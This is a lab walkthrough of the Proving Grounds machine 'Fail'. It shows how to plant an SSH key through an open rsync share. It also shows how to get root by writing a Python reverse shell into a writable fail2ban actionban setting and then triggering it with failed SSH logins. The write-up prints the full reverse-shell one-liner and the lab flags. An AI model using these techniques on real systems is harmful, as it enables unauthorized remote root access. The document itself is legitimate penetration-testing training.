Offensive Security released the Linux machine Fail on January 28th 2021. The machine is rated intermediate by OffSec and hard by the community. I felt the box was more towards the easy end of intermediate. The machine requires a bit of knowledge using ssh keys for authentication and an application called fail2ban.
For those unfamiliar with fail2ban, I highly recommend checking it out https://www.fail2ban.org/ or https://github.com/fail2ban/fail2ban.
__ _ _ ___ _
/ _|__ _(_) |_ ) |__ __ _ _ _
| _/ _` | | |/ /| '_ \/ _` | ' \
|_| \__,_|_|_/___|_.__/\__,_|_||_|
v1.0.1.dev1 20??/??/??To start, we kick off autorecon on the target. Looking at the full scan.
kali@kali:~/oscp/offsec/fail/results/192.168.116.126/scans$ cat _full_tcp_nmap.txt # Nmap 7.91 scan initiated Sat Jan 30 20:50:32 2021 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/kali/oscp/offsec/fail/results/192.168.116.126/scans/_full_tcp_nmap.txt -oX /home/kali/oscp/offsec/fail/results/192.168.116.126/scans/xml/_full_tcp_nmap.xml 192.168.116.126 Nmap scan report for 192.168.116.126 Host is up, received user-set (0.085s latency). Scanned at 2021-01-30 20:50:33 EST for 98s Not shown: 65533 closed ports Reason: 65533 conn-refused PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r | 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA= | 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+ 873/tcp open rsync syn-ack (protocol version 31) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jan 30 20:52:12 2021 -- 1 IP address (1 host up) scanned in 99.59 seconds
Based on the nmap, we know for sure we will be looking further into rsync. For that we will be using additional rsync enumeration using netcat.
kali@kali:~/oscp/offsec/fail/results/192.168.116.126/scans$ nc -vn 192.168.116.126 873 (UNKNOWN) [192.168.116.126] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 #list fox fox home @RSYNCD: EXIT
With netcat we can list out the current shares hosted with rsync. We see “fox” and “fox home”.
Using rsync we can list out the contents of the “fox” share with the -av –list-only options.
kali@kali:~/oscp/offsec/fail/results/192.168.116.126/scans$ rsync -av --list-only rsync://192.168.116.126/fox receiving incremental file list drwxr-xr-x 4,096 2021/01/21 09:21:59 . lrwxrwxrwx 9 2020/12/03 15:22:42 .bash_history -> /dev/null -rw-r--r-- 220 2019/04/18 00:12:36 .bash_logout -rw-r--r-- 3,526 2019/04/18 00:12:36 .bashrc -rw-r--r-- 807 2019/04/18 00:12:36 .profile sent 20 bytes received 136 bytes 104.00 bytes/sec total size is 4,562 speedup is 29.24
We see what looks like a user directory for the user fox. Lets pull down the files and take a look. Again we use the rsync command with the -av options and choose a target location.
kali@kali:~/oscp/offsec/fail/results/192.168.116.126/scans$ rsync -av rsync://192.168.116.126/fox ./rsyncfiles receiving incremental file list created directory ./rsyncfiles ./ .bash_history -> /dev/null .bash_logout .bashrc .profile sent 87 bytes received 4,828 bytes 3,276.67 bytes/sec total size is 4,562 speedup is 0.93
Bash history is useless since its linked to /dev/null. The other files also didn’t contain any useful information. At this point I found a method that could allow us to upload files using rsync. With that in mind, lets try and create key pair and see if we can SSH into the machine.
First, generate the private and public keys needed using the ed25519 algorithm.
kali@kali:~/oscp/offsec/fail/results/192.168.116.126/scans/rsyncfiles$ ssh-keygen -f ./authorized_keys -t ed25519 Generating public/private ed25519 key pair. ./authorized_keys already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./authorized_keys Your public key has been saved in ./authorized_keys.pub The key fingerprint is: SHA256:/MIJT869s7XwydKXAruLzaxQ/bEzjZP2y2NTqbMMFd4 kali@kali The key's randomart image is: +--[ED25519 256]--+ | | | | | . | | . . . o | | . S . .o E.| | O +...* ..| | . B +=@ oo | | . *+B=@* | | o.O*=**+ | +----[SHA256]-----+
Upload the .ssh folder containing the authorized_keys file with the public key contents.
kali@kali:~/oscp/offsec/fail/results/192.168.116.126/scans/rsyncfiles$ rsync -a --relativ e ./.ssh rsync://192.168.116.126/fox/
If you receive the stout below, just chmod 600 the private key file.
kali@kali:~/oscp/offsec/fail/results/192.168.116.126/scans/rsyncfiles$ ssh -i authorized_keys fox@192.168.116.126 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0766 for 'authorized_keys' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "authorized_keys": bad permissions
Now lets try and SSH into the target.
kali@kali:~/oscp/offsec/fail/results/192.168.116.126/scans/rsyncfiles$ sudo ssh -i authorized_keys fox@192.168.116.126 [sudo] password for kali: The authenticity of host '192.168.116.126 (192.168.116.126)' can't be established. ECDSA key fingerprint is SHA256:TV71PEPS7AhnnK8K5GqGJm91acGTn5mr9GcVYS7rE1A. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.116.126' (ECDSA) to the list of known hosts. Linux fail 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. $ whoami fox
Easy enough. We are the user fox so we should be able to grab the user flag.
$ cd /home $ ls fox local.txt $ cat local.txt bddfa9ab954461a691f9ec0d42153963
After grabbing the flag I immediately checked to see if the machine had wget. Luckily it does, so we can pull down the lse.sh enumeration script. First, start the http server.
kali@kali:~/tools/privesc/linux/linux-smart-enumeration$ sudo python3 -m http.server 80 [sudo] password for kali: Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..
Next, wget the lse.sh script.
$ wget http://192.168.49.116/lse.sh --2021-01-30 22:17:16-- http://192.168.49.116/lse.sh Connecting to 192.168.49.116:80... connected. HTTP request sent, awaiting response... 200 OK Length: 40579 (40K) [text/x-sh] Saving to: 'lse.sh' lse.sh 100%[=========================>] 39.63K --.-KB/s in 0.1s 2021-01-30 22:17:16 (294 KB/s) - 'lse.sh' saved [40579/40579]
Change the permissions on the file to add execution permissions. Kick off the script using the level 1 enumeration.
$ ./lse.sh -l 1
---
If you know the current user password, write it here to check sudo privileges:
---
LSE Version: 3.0
User: fox
User ID: 1000
Password: none
Home: /home/fox
Path: /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
umask: 0022
Hostname: fail
Linux: 4.19.0-12-amd64
Distribution: Debian GNU/Linux 10 (buster)
Architecture: x86_64
==================================================================( users )=====
[i] usr000 Current user groups.....................The most interesting findings from the script was the writable files.
[*] fst000 Writable files outside user's home.............................. yes! --- /tmp /tmp/.font-unix /tmp/tmp.sDorRq0S7Y /tmp/.ICE-unix /tmp/.Test-unix /tmp/.XIM-unix /tmp/tmp.CiZdjq2Cpj /tmp/tmp.TZ9iMUd8jg /tmp/.X11-unix /tmp/tmp.3KFohtNxgi /run/vmware/guestServicePipe /run/dbus/system_bus_socket /run/user/1000 /run/user/1000/systemd /run/user/1000/systemd/private /run/user/1000/systemd/notify /run/systemd/journal/dev-log /run/systemd/journal/socket /run/systemd/journal/stdout /run/systemd/journal/syslog /run/systemd/private /run/systemd/notify /run/lock /home/local.txt /var/tmp /etc/fail2ban/action.d /etc/fail2ban/action.d/firewallcmd-ipset.conf /etc/fail2ban/action.d/nftables-multiport.conf /etc/fail2ban/action.d/firewallcmd-multiport.conf /etc/fail2ban/action.d/mail-whois.conf /etc/fail2ban/action.d/ufw.conf /etc/fail2ban/action.d/sendmail-common.conf /etc/fail2ban/action.d/hostsdeny.conf /etc/fail2ban/action.d/iptables-common.conf /etc/fail2ban/action.d/iptables.conf /etc/fail2ban/action.d/iptables-ipset-proto4.conf /etc/fail2ban/action.d/shorewall.conf /etc/fail2ban/action.d/shorewall-ipset-proto6.conf /etc/fail2ban/action.d/sendmail-buffered.conf /etc/fail2ban/action.d/abuseipdb.conf /etc/fail2ban/action.d/sendmail-whois-ipmatches.conf /etc/fail2ban/action.d/mail.conf /etc/fail2ban/action.d/sendmail-whois-ipjailmatches.conf /etc/fail2ban/action.d/nftables-allports.conf /etc/fail2ban/action.d/npf.conf [366/1858] /etc/fail2ban/action.d/apf.conf /etc/fail2ban/action.d/badips.conf /etc/fail2ban/action.d/iptables-multiport-log.conf /etc/fail2ban/action.d/cloudflare.conf /etc/fail2ban/action.d/sendmail-geoip-lines.conf /etc/fail2ban/action.d/ipfilter.conf /etc/fail2ban/action.d/xarf-login-attack.conf /etc/fail2ban/action.d/sendmail-whois.conf /etc/fail2ban/action.d/osx-ipfw.conf /etc/fail2ban/action.d/route.conf /etc/fail2ban/action.d/mail-buffered.conf /etc/fail2ban/action.d/firewallcmd-common.conf /etc/fail2ban/action.d/iptables-xt_recent-echo.conf /etc/fail2ban/action.d/firewallcmd-rich-rules.conf /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/firewallcmd-allports.conf /etc/fail2ban/action.d/iptables-ipset-proto6.conf /etc/fail2ban/action.d/sendmail-whois-lines.conf /etc/fail2ban/action.d/iptables-allports.conf /etc/fail2ban/action.d/badips.py /etc/fail2ban/action.d/complain.conf /etc/fail2ban/action.d/netscaler.conf /etc/fail2ban/action.d/sendmail-whois-matches.conf /etc/fail2ban/action.d/dummy.conf /etc/fail2ban/action.d/sendmail.conf /etc/fail2ban/action.d/nsupdate.conf /etc/fail2ban/action.d/firewallcmd-rich-logging.conf /etc/fail2ban/action.d/pf.conf /etc/fail2ban/action.d/helpers-common.conf /etc/fail2ban/action.d/nginx-block-map.conf /etc/fail2ban/action.d/smtp.py /etc/fail2ban/action.d/mail-whois-common.conf /etc/fail2ban/action.d/dshield.conf /etc/fail2ban/action.d/nftables-common.conf /etc/fail2ban/action.d/mynetwatchman.conf /etc/fail2ban/action.d/blocklist_de.conf /etc/fail2ban/action.d/bsd-ipfw.conf /etc/fail2ban/action.d/iptables-ipset-proto6-allports.conf /etc/fail2ban/action.d/ipfw.conf /etc/fail2ban/action.d/symbiosis-blacklist-allports.conf /etc/fail2ban/action.d/mail-whois-lines.conf /etc/fail2ban/action.d/osx-afctl.conf /etc/fail2ban/action.d/firewallcmd-new.conf /etc/fail2ban/action.d/iptables-new.conf
We see the ability to write to all of the action.d files for fail2ban. Lets see if fail2ban is running as root.
[*] pro020 Processes running with root permissions......................... yes! --- START PID USER COMMAND 22:20 24306 root /usr/bin/python3 /usr/bin/fail2ban-server -xf start 22:20 24060 root /usr/bin/python3 /usr/bin/fail2ban-client stop 22:20 24058 root /usr/bin/systemctl restart fail2ban 22:20 24056 root /bin/sh -c /usr/bin/systemctl restart fail2ban 22:20 24055 root /usr/sbin/CRON -f 22:19 1886 root /lib/systemd/systemd-udevd 22:19 1174 root /usr/bin/python3 /usr/bin/fail2ban-server -xf start 21:56 447 root /usr/sbin/inetutils-inetd 21:56 444 root /usr/sbin/sshd -D 21:56 442 root /sbin/agetty -o -p -- \u --noclear tty1 linux 21:56 422 root /usr/sbin/rsyslogd -n -iNONE 21:56 421 root /usr/bin/rsync --daemon --no-detach 21:56 419 root /usr/sbin/cron -f 21:56 417 root /lib/systemd/systemd-logind 21:56 411 root /usr/bin/vmtoolsd 21:56 410 root /usr/bin/VGAuthService 21:56 264 root /lib/systemd/systemd-udevd 21:56 246 root /lib/systemd/systemd-journald 21:56 1 root /sbin/init
Since fail to ban is running as root we have a decent shot at having fail2ban run a custom action based on the configuration located in action.d. First, lets check the configuration of the jail.conf.
# Action shortcuts. To be used to define action parameter # Default banning action (e.g. iptables, iptables-new, # iptables-multiport, shorewall, etc) It is used to define # action_* variables. Can be overridden globally or per # section within jail.local file banaction = iptables-multiport banaction_allports = iptables-allports # The simplest action to take: ban only
Within the jail.conf we can see that banaction = iptables-multiport. This gives us a possible target to edit. Open the action.d/iptables-multiport.conf.
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.199",53));os.dup2(s.f
ileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
# Option: actionunban
# Notes.: command executed when unbanning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
Remove the action in the actionban = "" and replace it with a python reverse shell. Next, start the netcat reverse shell catcher.
kali@kali:~$ sudo nc -lvnp 53 [sudo] password for kali: listening on [any] 53 ...
Now attempted to SSH into the target and fail purposely multiple times. This should trigger the fail2ban action we just edited.
kali@kali:~/tools/privesc/linux/linux-smart-enumeration$ ssh fox@192.168.199.126 The authenticity of host '192.168.199.126 (192.168.199.126)' can't be established. ECDSA key fingerprint is SHA256:TV71PEPS7AhnnK8K5GqGJm91acGTn5mr9GcVYS7rE1A. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.199.126' (ECDSA) to the list of known hosts. fox@192.168.199.126's password: Permission denied, please try again. fox@192.168.199.126's password: Permission denied, please try again. fox@192.168.199.126's password: fox@192.168.199.126: Permission denied (publickey,password).
Looking back at the shell…..
kali@kali:~$ sudo nc -lvnp 53 [sudo] password for kali: listening on [any] 53 ... connect to [192.168.49.199] from (UNKNOWN) [192.168.199.126] 54672 root@fail:/#
We have a root shell! Now to grab the flag.
root@fail:/# whoami whoami root root@fail:/# cd /root cd /root root@fail:/root# ls ls proof.txt root@fail:/root# cat proof.txt cat proof.txt 605a78dab66ac8e73494fe7cbb2166f0
Offensive Security Proving Grounds has turned out to be a great platform for staying away from CTFish boxes. CTF boxes are fun, however you will not find those machine challenges as useful in the “real world”. Fail was an easy box to root, but provided a great look at the inner workings of Fail2Ban. Let me know if you run into any questions on this one.
Until next time, stay safe in the Trenches of IT!